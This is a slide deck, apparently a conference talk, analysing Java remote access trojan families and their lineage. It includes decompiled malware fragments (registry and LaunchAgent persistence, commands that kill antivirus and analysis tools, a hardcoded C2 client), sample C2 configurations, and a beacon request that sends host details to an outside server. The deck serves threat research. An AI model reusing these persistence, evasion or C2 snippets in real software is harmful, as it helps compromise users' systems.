

Java Based Trojans: Not Even Your Macs Are Safe

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Imagine a World...

First emerging around 2011, Java based remote access trojans have been used to compromise systems on a **global scale by threat actors of varying skill levels and motivations.**


Java based RATs are a **serious threat to any system capable of executing the Java Runtime Environment.**

Roadmap


- **Foundation knowledge**
 - **What, How, Why and Who of Java based malware**
- Threat landscape
- Analysis Tools and Techniques
- Conclude
- I'm not discussing
 - Java vulnerabilities
 - Android malware
 - Adware
 - DoS malware

Java Basics

- More than just a thing outdated websites make you install
- Rich ecosystem
- JVM vs JDK vs JRE
- Often used to teach OOP
- Compiles (to byte code)
 - Similar to Python
 - Simple to disassemble
- **Write once. Runs (almost) everywhere.**




Reverse Engineering Scale of Tribulations



JAR (Java ARchive) Files

- JAR vs Zip format
 - JAR has manifest file as first entry (optional)
 - JAR uses unicode file names
 - ZIP checks CRC
- Resources
- Class files
 - 0xCAFEBAE
 - **Constant pools**
- Manifest
 - META-INF/MANIFEST.MF
 - Key: Values



Java Remote Access Trojans

- Some are abandoned
 - BlueBanana
- Some are being actively developed
 - jSocket, jFect, OS Celestial, Ratty
- Most use kits and stubs to build implants
- VirusTotal detections are often inaccurate
 - AV will detect something as a Java based RAT but call it “jrat”
 - jRat is a common name for Jacksbot
 - **Too many RATs are detected as jRat**
- The RATs within frutas/adwind family are very similar to each other
- Some implants may match more than one Yara rule for the families
- **Too many RATs are detected as Adwind**

Other Java Threats

- **Banload** and other droppers / downloaders
- Java **Ransomware**
 - PoC on Github
 - <https://github.com/codertimo/Ransomware>
 - From what I can tell, written by two high school students
 - Not actively distributed

Cross Platform APIs and Libs

- `java.util.prefs` – persistence mechanism
 - Windows: registry
 - Linux: hidden files in user's home/ dir
 - OSX: .plist files in user's Library/ dir
- Commonly (mis)used libraries
 - Sigar
 - Sarvos
 - Bridj
 - Slf4j
 - JNA
 - jnativehook
 - Kryonet
 - webcam-capture
- `Runtime.getRuntime().exec()`
 - Operating system specific command execution


Who's Using Java Malware?

- Mostly **opportunistic attackers** but not all
- **Financially motivated actors** targeting Brazilian systems
- Kaspersky found adwind distributed to banks within Singapore via phishing emails
- CitizenLab reported in Dec 2015 **PackRat** using Adzok and AlienSpy (among others)
- Kaspersky reported on **Javafog**, a Java version of Icefog [30]

Roadmap

- Foundation knowledge
- Threat landscape
 - Families, capabilities, auxiliary tools
- Analysis Tools and Techniques
- Conclude

Timeline of RATs




Frutas Lineage: Frutas

- Frutas PoC emerged early 2012 [2]
 - Includes a simple ASCII readable ‘config.txt’ or ‘config.xml’ file
 - Writes ‘frutas.lock’ file to temporary directory to avoid concurrent executions
 - Became popular among Spanish speaking criminals July 2012 [1]

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<comment>Frutas rat v0.8</comment>
<entry key="prefijo">ndi</entry>
<entry key="uac">false</entry>
<entry key="delay">3</entry>
<entry key="puerto2">995</entry>
<entry key="dns">www.apple.ddns.me.uk</entry>
<entry key="keyClase">gdUtZJnL</entry>
<entry key="puerto1">993</entry>
<entry key="jarname">webclient</entry>
<entry key="instalar">true</entry>
<entry key="hkmlm">true</entry>
<entry key="password">77b5f8e343a90f6f597751021fb8b7a08fe83083</entry>
<entry key="tskschedule">false</entry>
<entry key="regname">iepxlore</entry>
</properties>
```

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```
try
{
    f = new File(System.getProperty("java.io.tmpdir"), "frautas.lock");
    if (f.exists()) {
        f.delete();
    }
    channel = new RandomAccessFile(f, "rw").getChannel();
    lock = channel.tryLock();
    if (lock == null) {
        channel.close();
        System.exit(0);
    }
    Principal.ShutdownHook shutdownHook = new Principal.ShutdownHook();
    Runtime.getRuntime().addShutdownHook(shutdownHook);
    System.out.println("Running");
} catch (Exception ex) {
    System.out.println("Error en Mutex");
}
```

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```
try {
    Process t1 = Runtime.getRuntime().exec(new String[] { "attrib", "-s", "-h", "\\" });

    t2 = Runtime.getRuntime().exec(new String[] { "attrib", "-s", "-h", "\\\\" + t1.getI
}
catch (Exception ex) {}
```

Frutas Lineage: Adwind

- Emerged early 2013 from a rebranded Frutas [3]
- Subsequent variants began using obfuscation [4]
- Support for Android (APK binder) introduced
- Modular plugins

```
Manifest-Version: 1.0
Ant-Version: Apache Ant 1.8.1
X-COMMENT: vqXdy
Class-Path:
Created-By: BhuCwXMBgHboeu1Z44wpQ6jW
Main-Class: main.Start
```

Frutas Lineage: Adwind

- Emerged early 2013 from a rebranded Frutas [3]
- Subsequent variants began using obfuscation [4]
- Support for Android (APK binder) introduced
- Modular plugins

NAME	PACKED SIZE	SIZE
aaaaNNNNDDDDNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNN...	168	799
Start.class	524	3 318
aaaaNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNN...	1 174	5 610
aaaaNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNN...	987	4 088
aaaaNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNN...	1 030	4 923
aaaaNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNN...	1 969	8 927
aaaaNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNN...	1 265	6 468
aaaaNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNNDDDDDDNNNN...	517	4 566

Frutas Lineage: Unrecom

- Rebranded Adwind around late 2013 [5] [6]
 - UNiversal REmote COntrol Multi-platform
 - Adwind “acquired” by LustroSoft
- Introduced LiteCoin mining plugin [7]

The screenshot shows a debugger interface with two main panes. The top pane displays the contents of a file named 'MANIFEST.MF' with the following manifest entries:

```
Manifest-Version: 1.0
Ant-Version: Apache Ant 1.8.1
X-COMMENT: Comment
Class-Path:
Created-By: Runtime Corp
Main-Class: load.JarMain
```

The bottom pane shows a memory dump with columns for address (Offset(h)), hex values (00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F), and ASCII representation (34 62 47 51 6D 42 71 52). A red box highlights the entry 'UnrecomServer.class' in the file list on the left, which corresponds to the offset 0 in the memory dump.

Frutas Lineage: AlienSpy

- Emerged Oct 2014
- Improvements [3]
 - Sandbox detection
 - TLS for C2
 - Anti Analysis [8]
 - Allatori Obfuscation

```
/cygdrive/c/Documents and Settings/  
$ '/cygdrive/c/Program Files/7-Zip/7z.exe' l 8c9999c2178914da76a2fd19d917bb87bd3a5f4280  
95154318c8c2022485bb9b.jar | awk '{print $6}' | grep '\.class' |tail -1  
akRMqQvPQK1Vr1i15haMPpPSPTmbY9P2HTYq/9oZ1/t3p5KMVD5D8qtjb2zhy69v1ayX69s1PQQma5goFFogKap  
KA6cdakTIhXhcRSnz7dyuGP4cdMSA5BzLITIe7f2vnKLEVSTx9cE81yOfCLoODxAwQkbMjMtPKDz8VLSXQB06Fp  
s2DeW85T185wOt2CfcJLnYObkRJ1KSpIO3b552BrHP1h0bbwBfYHObdEH35XOH1dv0PAXUFALz7PbKSugChcZua  
VYMCNU7DDCJHngb6cOALIiiiiIIiiII.class
```

```
/cygdrive/c/Documents and Settings/  
$ '/cygdrive/c/Program Files/7-Zip/7z.exe' l 8c9999c2178914da76a2fd19d917bb87bd3a5f4280  
95154318c8c2022485bb9b.jar | awk '{print $6}' | grep '\.class' |tail -1 | wc -c  
298
```

```
/cygdrive/c/Documents and Settings/  
$ |
```

Frutas Lineage: AlienSpy

- Emerged Oct 2014
- Improvements [3]
 - Sandbox detection
 - TLS for C2
 - Anti Analysis [8]
 - Allatori Obfuscation

```
xcopy "C:\Program Files (x86)\Java\jre1.8.0_60" "C:\Users\[REDACTED]\AppData\Roaming\Oracle\" /e  
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Y7j7hyw8Qrh /t REG_EXPAND_SZ /d "\"C:\Users\[REDACTED]\AppData\Roaming\Oracle\bin\javaw.exe\" -jar \"C:\Users\[REDACTED]\C1fjnwk2P7t\ev20qVGDJhc.DmJf0s\"\" /f  
attrib +h "C:\Users\[REDACTED]\C1fjnwk2P7t\*.*"  
attrib +h "C:\Users\[REDACTED]\C1fjnwk2P7t"  
"C:\Users\[REDACTED]\AppData\Roaming\Oracle\bin\javaw.exe" -jar "C:\Users\[REDACTED]\C1fjnwk2P7t\ev20qVGDJhc.DmJf0s"
```

Frutas Lineage: AlienSpy

Frutas Lineage: AlienSpy

▼	⚠	0	39	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM procepx.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM ProcessHacker.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM MSASCui.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM MsMpEng.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM MpUXSrv.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM MpCmdRun.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM wireshark.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM tshark.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM text2pcap.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM rawshark.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM mergecap.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM editcap.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM dumpcap.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM capinfos.exe /T /F
▼	⚠	0	38	0	javaw.exe	created	, Windows\SysWOW64\taskkill.exe , taskkill /IM mbam.exe /T /F

Frutas Lineage: jSocket

- AlienSpy domain taken down after Fidelis report (April 2015)
- jSocket emerged July 2015 [10]
- Similar to AlienSpy but used subscription model (SaaS)
- Kaspersky estimates Jsocket (Adwind) author [11]:
 - made \$200,000 per year
 - sold to 1,800 customers

Frutas Lineage: jSocket

```
Bobs-Mac:samples bob$ sudo ps aux | grep java
bob           1262  41.7  5.4  4444948 113548 s000   S      3:14PM  0:00.50 /Library/Ja
va/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/bin/java -Dapple.awt.UIElement=
true -jar /Users/bob/.s0yoncFKXCL/s0yoncFKXCL/c0ieAmSYn4W.Vyg8Py
bob           1267  0.0  0.0  2432772    636 s001   S+     3:14PM  0:00.00 grep java
Bobs-Mac:samples bob$ cd ~/.s0yoncFKXCL/
Bobs-Mac:.s0yoncFKXCL bob$ ls -R
I09l2pcvyii      s0yoncFKXCL

./I09l2pcvyii:


./s0yoncFKXCL:
c0ieAmSYn4W.Vyg8Py
Bobs-Mac:.s0yoncFKXCL bob$ file s0yoncFKXCL/c0ieAmSYn4W.Vyg8Py
s0yoncFKXCL/c0ieAmSYn4W.Vyg8Py: Zip archive data, at least v2.0 to extract
Bobs-Mac:.s0yoncFKXCL bob$
```

Frutas Lineage: jSocket


```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>org.0NLph8Mx4cR</string>
  <key>ProgramArguments</key>
  <array>
    <string>/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/bin/java</string>
    <string>-Dapple.awt.UIElement=true</string>
    <string>-jar</string>
    <string>/Users/bob/.s0yoncFKXCL/s0yoncFKXCL/c0ieAmSYn4W.Vyg8Py</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
  <key>KeepAlive</key>
  <false/>
  <key>AbandonProcessGroup</key>
  <true/>
</dict>
</plist>
org.0NLph8Mx4cR.plist (END)
```

Adzok (aka Adsocks)

- Emerged 2010? (0.7.0 was around in January of 2011) [12]
- Free version used by **PackRat** group [13]
- Open Source [14], Free, and Pro Versions
- Still active:
 - Sold online from Boliva [15]
 - Twitter profile's latest tweet was July 2015) [16]



Adzok (aka Adsocks)



The screenshot shows a file explorer window with a sidebar containing files like config.xml, META-INF, resources, and various class files. The main area displays the contents of the config.xml file in a code editor. The code is an XML properties file with the following content:

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<comment>Adzok Free</comment>
<entry key="dir">Java</entry>
<entry key="reg">Java</entry>
<entry key="pass">7854</entry>
<entry key="hidden">true</entry>
<entry key="puerto">7777</entry>
<entry key="ip">deyrep24.ddns.net</entry>
<entry key="inicio">true</entry>
</properties>
```

The code editor interface includes tabs for MANIFEST.MF and config.xml, a toolbar with various icons, and status bars at the bottom showing file length, lines, columns, and encoding.

Adzok (aka Adsocks)

The screenshot shows the Adzok website homepage. At the top left is the Adzok logo, which includes a stylized fish icon and the text "Adzok.com". To its right is the main title "Adzok" in a large serif font, with "Remote Administrator" in a smaller sans-serif font below it. Below the title is a navigation bar with five items: "Main" (highlighted in green), "Features", "Support", "Downloads", and "Contacts". To the right of the navigation bar is a graphic of a 3D cube structure. The main content area has a green background. On the left, there is a large white text block that reads: "Invisible Remote Security Administrator". Below this, a paragraph of text says: "Manage and monitor your PC remotely as if you were in front of it completely invisible and anonymously with Adzok now get full control of your computer or several computers in real time." To the right of the text are three product boxes for "Open version", "Pro version", and "Free version" of Adzok.

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
Adzok (aka Adsocks)

- Emerged 2010? (0.7.0 was around in January of 2011) [12]

```
public void getMutex() {
    try {
        file = new File(System.getenv("TMP"), "Adzoklock.tmp");
        if (file.exists()) {
            file.delete();
        }
        canal = new java.io.RandomAccessFile(file, "rw").getChannel();
        bloquear = canal.tryLock();
        if (bloquear == null) {
            canal.close();
            System.exit(0);
        }
        inic.ShutdownHook shutdownHook = new inic.ShutdownHook();
        Runtime.getRuntime().addShutdownHook(shutdownHook);
        System.out.println("Corriendo");
    } catch (Exception ex) {
        System.out.println("Error Mutex");
    }
}
```

BlueBanana

- Emerged September 2012
- Obfuscated
 - Encoded strings
 - Class file names
- Beacons with a configured password in its first data packet



BlueBanana



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Crimson

- Oldest forum post I could find was dated Oct 2012 [17]
 - The builder's "about" section claims December 2013
- Encrypted communications
 - AES
 - Blowfish
 - DES
 - Triple DES
- Drops settings files into one of:
 - sqlite database 'Psettings.db' – v1.2.3
 - base64 encoded 'settings.properties' – v1.3.0
 - No file dropped – v2.1.0

Crimson

```
sh-3.2# grep java ../../snoop
 501 1610 W 32278128 32768      java ??/hsperfdata_bob/1610
 501 1610 W 32278192 4096      java ??/.oracle_jre_usage/613bcfb3a06ef613.timestamp
 501 1610 R 32276128 4096      java ??/net.java.openjdk.cmd.savedState/windows.plist
 501 1610 R 32276136 4096      java ??/net.java.openjdk.cmd.savedState/data.data
 501 1610 W 32278232 4096      java ??/net.java.openjdk.cmd.savedState/restorecount.plist
 501 1610 W 32278232 4096      java ??/net.java.openjdk.cmd.savedState/restorecount.plist
 501 1610 W 33129400 1048576    java ??/T/sqlite-unknown-65051d1b-9b56-4092-8ba5-440d9a5d9ae
a-libssqlitejdbc.jnilib
 501 1610 W 33131448 81920    java ??/T/sqlite-unknown-65051d1b-9b56-4092-8ba5-440d9a5d9aea
-libsqlitejdbc.jnilib
 501 1610 W 33131608 32768    java ??/T/libJNativethook_3974632910467371102.dylib
 0     1 W 32278288 4096      launchd ??/net.java.openjdk.cmd.savedState/windows.plist
 0     1 W 32278296 4096      launchd ??/net.java.openjdk.cmd.savedState/data.data
 501 1610 R 38158616 4096      java ??/lib/jsse.jar
 501 1610 R 32278296 4096      java ??/net.java.openjdk.cmd.savedState/data.data
sh-3.2# sqlite3 Psettings.db
SQLite version 3.8.5 2014-08-15 22:37:57
Enter ".help" for usage hints.
sqlite> .tables
storage
sqlite> .schema storage
CREATE TABLE storage (OID INT2, Object VARCHAR(32000));
sqlite>
```

Crimson

```
cmd
C:\WINDOWS\system32>java -jar
C:\WINDOWS\system32>cd C:\
C:>
C:>cd "Documents and Settings\ Desktop"
C:\Documents and Settings\ Desktop>java -jar "C:\Documents and Settings\ Desktop\crimson_2.1.0.jar"
Bootstrapping...
Platform is: windows xp
Loaded options
Delaying for: 0 seconds
jar name: crimson.jar
install path: C:/Users\Documents\
Attempting to write classes
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\com\crimson\permaJarMulti\modules <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\com\crimson\universal\exceptions <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\com\crimson\permaJarMulti\natives <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\com\crimson\universal\containers <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\com\crimson\universal\upnp <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\org/jnativehook/keyboard <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\org/jnativehook/mouse <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\org/jnativehook/lib/linux/x86_64 <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\org/jnativehook/lib/linux/x86 <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\org/jnativehook/lib/windows/x86_64 <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\org/jnativehook/lib/windows/x86 <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\org/jnativehook/lib/osx/x86_64 <\LOCALS^1\Temp\cr_14603
[Sun Apr 10 18:05:35 EDT 2016]Making Dir: C:\DOCUME^1\25935303\org/jnativehook/lib/osx/x86 <\LOCALS^1\Temp\cr_14603
Copying options file to filesystem
Attempting to write Jar file: C:\Users\Documents\crimson.jar
Packaging target into jar: com
Packaging target into jar: org
Installing Startup key
Started PermaJar. Exiting bootstrapper...
C:\Documents and Settings\ Desktop>
```

Crimson

```
Bobs-Mac:Desktop bob$ java -jar crimson_2.1.0.jar
Bootstrapping...
Platform is: mac os x
Loaded options
Delaying for: 0 seconds
jar name: crimson.jar
install path: /Users/bob/.crimson/
Attempting to write classes
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/com/crimson/permaJarMulti/modules
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/com/crimson/universal/exceptions
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/com/crimson/permaJarMulti/natives
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/com/crimson/universal/containers
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/com/crimson/universal/upnp
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/org/jnativehook/keyboard
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/org/jnativehook/mouse
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/org/jnativehook/lib/linux/x86_64
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/org/jnativehook/lib/linux/x86
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/org/jnativehook/lib/windows/x86_64
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/org/jnativehook/lib/windows/x86
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/org/jnativehook/lib/osx/x86_64
[Sun Apr 10 15:10:49 PDT 2016]Making Dir: /var/folders/fn/7vlq55qx383bkqf5jxhf0q700000gn/T/cr_1460326249701/org/jnativehook/lib/osx/x86
[Sun Apr 10 15:10:49 PDT 2016]Writing 36 classes
[Sun Apr 10 15:10:49 PDT 2016]Writing 47 classes
[Sun Apr 10 15:10:49 PDT 2016]Writing 35 classes
Copying options file to filesystem
Attempting to write Jar file: /Users/bob/.crimson/crimson.jar
Packaging target into jar: com
Packaging target into jar: org
Installing Startup key
Started PermaJar. Exiting bootstrapper...
```

jCage

- Emerged July 2013
- Makes use of jnativehook lib

```
public static String antivirus()
{
    try {
        Process process =
            Runtime.getRuntime()
        .exec("WMIC /Node:localhost /Namespace:\\\\root\\\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List");
        BufferedReader reader = new BufferedReader(new InputStreamReader(
            process.getInputStream()));
        String result = "None";
        String line; while ((line = reader.readLine()) != null) { String line;
            if ((line.length() >= 1) && (line.trim().contains("displayName")))
            {
                result = line.split("=")[1];
                break;
            }
        }
        return result;
    } catch (IOException e) {}
    return "Unknown";
}
```

jCage

```
try {
    String prop = System.getProperty("user.home") +
        "\\client.jar";
    File fileToDelete = new File(prop);
    if (fileToDelete.delete()) {}


    GlobalScreen.unregisterNativeHook();
}
catch (NativeHookException localNativeHookException) {}
System.exit(0);
break;
case 1:
    this.stream.writeLine(this.log.toString());
    break;
case 3:
    try {
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("shutdown -s -t 3");
        this.stream.writeBoolean(true);
        System.exit(0);
    } catch (Exception e) {
        this.stream.writeBoolean(false);
    }
}
```

qRat (Qarallax/Quaverse)

- Emerged May 2015
 - Three stage JAR loader [20]
 - SaaS model (similar to jSocket)
 - Used a hardcoded IPv4 and domains
 - Only runs on windows
-
- A second version in the wild [32] recently
 - Downloads auxilary Jars from qarallax[.]com
 - Runs on Macs too!
 - Used to target travelers applying for US Visa in Switzerland [33] – 6 June 2016

qRat (Qarallax/Quaverse)

```
sh-3.2# java -jar qrati.jar
Server Host : [Ljava.lang.String;@677327b6
Server Port : 1777
Instance Control Port : 17711
WARNING: GL pipe is running in software mode (Renderer ID=0x1020400)
```



qRat (Qarallax/Quaverse)

```
Bobs-Mac:Desktop bob$ java -jar 1.jar
Main-Class : qua.quaverse.qarallax.Bismillahirrahmanirrahim
slave
com.sun.jna.MFouSeCFouELNinSeThoFHEig0.NinTCFouSeLFiftThoFHNinF.MOASiCNinFLEigThThoEHFift Err
or for Resource : embedding
Looking for Resource on Linked : sun.misc.Launcher.AppClassLoader
id=72000000099 to_id=71000000099
/Users/bob/Desktop/1.jar
/Users/bob/.RcY80NLXNs/lFQe_gLyNP0hc9K0g/SLjZbn7HWcwFs4ckU/jVcGFo31eViT7RbHM.jar
Downloading Library: http://lib.qarallax.com/qarallax-lib/bridj/bridj-0.6.2.jar => /var/folde
rs/fn/7vlq55qx383bkqf5jxfh0q70000gn/T/5444127824038660420279628807057544412801493 => /Users/
bob/.RcY80NLXNs/lFQe_gLyNP0hc9K0g/SLjZbn7HWcwFs4ckU/lib/bridj-0.6.2.jar
```

jRat (aka Jacksbot)

- Emerge Oct 2012
- Portions are open sourced by redpois0n
 - Plugins, scripts, uninstaller, and auxiliary tools
 - <https://github.com/java-rat>
- Not everything is jRat
 - AV tends to call everything Java RAT or jRat (or Adwind)
- Persists using [19]
 - OSX: a LaunchAgent plist
 - Linux: ~/.config/autostart
 - Windows: Registry run key



jRat (aka Jacksbot)

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>/Users/bob/Desktop/jrat1</string>
  <key>ProgramArguments</key>
  <array>
    <string>/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/bin/java</string>
    <string>-jar</string>
    <string>/Users/bob/Desktop/jrat1.jar</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>
```

jFect

- Emerged Nov 2015
- Heavily obfuscated
- IRC or HTTP communications
- LaunchAgent plist for persistence on OSX

jFect

- Emerged Nov 2015
- Heavily obfuscated
- IRC or HTTP communications
- LaunchAgent plist for persistence on OSX

```
NICK [windowsXP|US|943e04737a]
USER jFect 8 * :IRC Remote Controller
```

jFect

- Emerged Nov 2015
- Heavily obfuscated
- IRC or HTTP communications
- LaunchAgent plist for persistence on OSX

```
POST /api/v1/ping HTTP/1.1
User-Agent: Java/1.8.0_73
Host: 158.69.56.85
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 151

uid=6c930fa438&group=cleintine&lan=192.168.45.128&nameAtPc=bob%40Bobs-
Mac.local&os=Mac+OS+X&country=US&uptime=00%3A00%3A30&installDate=12+April
%2C+2016
```

jFect

- Emerged Nov 2015
- Heavily obfuscated
- IRC or HTTP communications
- LaunchAgent plist for persistence on OSX

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.Microsoft.magic</string>
  <key>ProgramArguments</key>
  <array>
    <string>/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/bin/java</string>
    <string>/Users/bob/magic.jar</string>
    <string>-jar</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>
```

OmniRAT

- Emerged Nov 2015
- Multi OS implant and panel support
 - Android control panel
- Hardcoded C2 (doesn't use a configuration file)
- Android version can spread via SMS [21]

OmniRAT

- Emerged Nov 2015
- Multi OS implant and panel support
 - Android control panel

```
public class Client
{
    private static final ClientHandler ch = new ClientHandler("78.170.129.37", 2125);

    private static void addtoStartup() {
        try {
            File localFile1 = new File(System.getenv("APPDATA") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\");
            localFile1.mkdirs();

            File[] arrayOfFile1 = new File(new File(".").getCanonicalPath()).listFiles();

            for (File localFile2 : arrayOfFile1) {
                if ((localFile2.getName().endsWith(".jar")) &&
                    (!new File(localFile1.getCanonicalPath() + "\\\" + localFile2.getName()).exists())) {
                    Files.copy(localFile2.toPath(), java.nio.file.Paths.get(localFile1.getCanonicalPath() + "\\\" + localFile2.getCanonicalPath()));
                }
            }
        }
        catch (Exception localException) {}
    }
}
```

OmniRAT

- Emerged Nov 2015
- Multi OS implant and panel support
 - Android control panel
- Hardcoded C2 (doesn't use a configuration file)
- Android version can spread via SMS [21]

```
$ nc -l 1177
srTransfer.Connection&NClientIDtLjava/lang/String;
L
CountryCodeq~xptLikeMetUSA|
```


jSpy and OS Celestial

- jSpy emerged Dec 2013, OS Celestial is likely a second version
 - Open source library reuse
 - Similar features
 - Similar configuration file options
 - Similar configuration parsing classes
 - Overlap in domain builders beacon to
 - jstealth.co[.]uk
 - jstealth[.]net
- Detectable by files it drops on Windows
- Uses LaunchAgent plists for persistence on OSX

jSpy and OS Celestial

Welcome to jSpy

A Java Remote Administration Tool



Learn more

jSpy and OS Celestial

C:\Users\ \AppData\Local\Temp\e4jAEB9.tmp_dir1447627521\exe4jlib.jar
C:\Users\ \AppData\Local\Temp\e4jAEB9.tmp_dir1447627521\i4jdel.exe
C:\Users\ \AppData\Local\Temp\e4jAEB9.tmp_dir1447627521\Client.jar
C:\Users\ \AppData\Local\Temp\e4jAF47.tmp
C:\Users\ \AppData\Local\Temp\hsperfdata_Lebron James\2220
C:\Users\ \.oracle_jre_usage\48ac84126bcac2aa.timestamp
C:\Users\ \js_plugins\DisableWebcamLightsStub.jar
C:\Users\ \js_plugins\MessageBox.jar
C:\Users\ \js_plugins\sCryptMiner.jar
C:\Users\ \AppData\Local\Temp\JNativeHook_1574639485093942253.dll
C:\Users\ \js_logs\2015-11-15-17.txt
C:\Users\ \AppData\Local\Temp\hsperfdata_Lebron James\2364

jSpy and OS Celestial

```
Bobs-Mac:LaunchAgents bob$ cat com.client.1f3.plist
<?xml version="1.0" encoding="UTF-8"?>
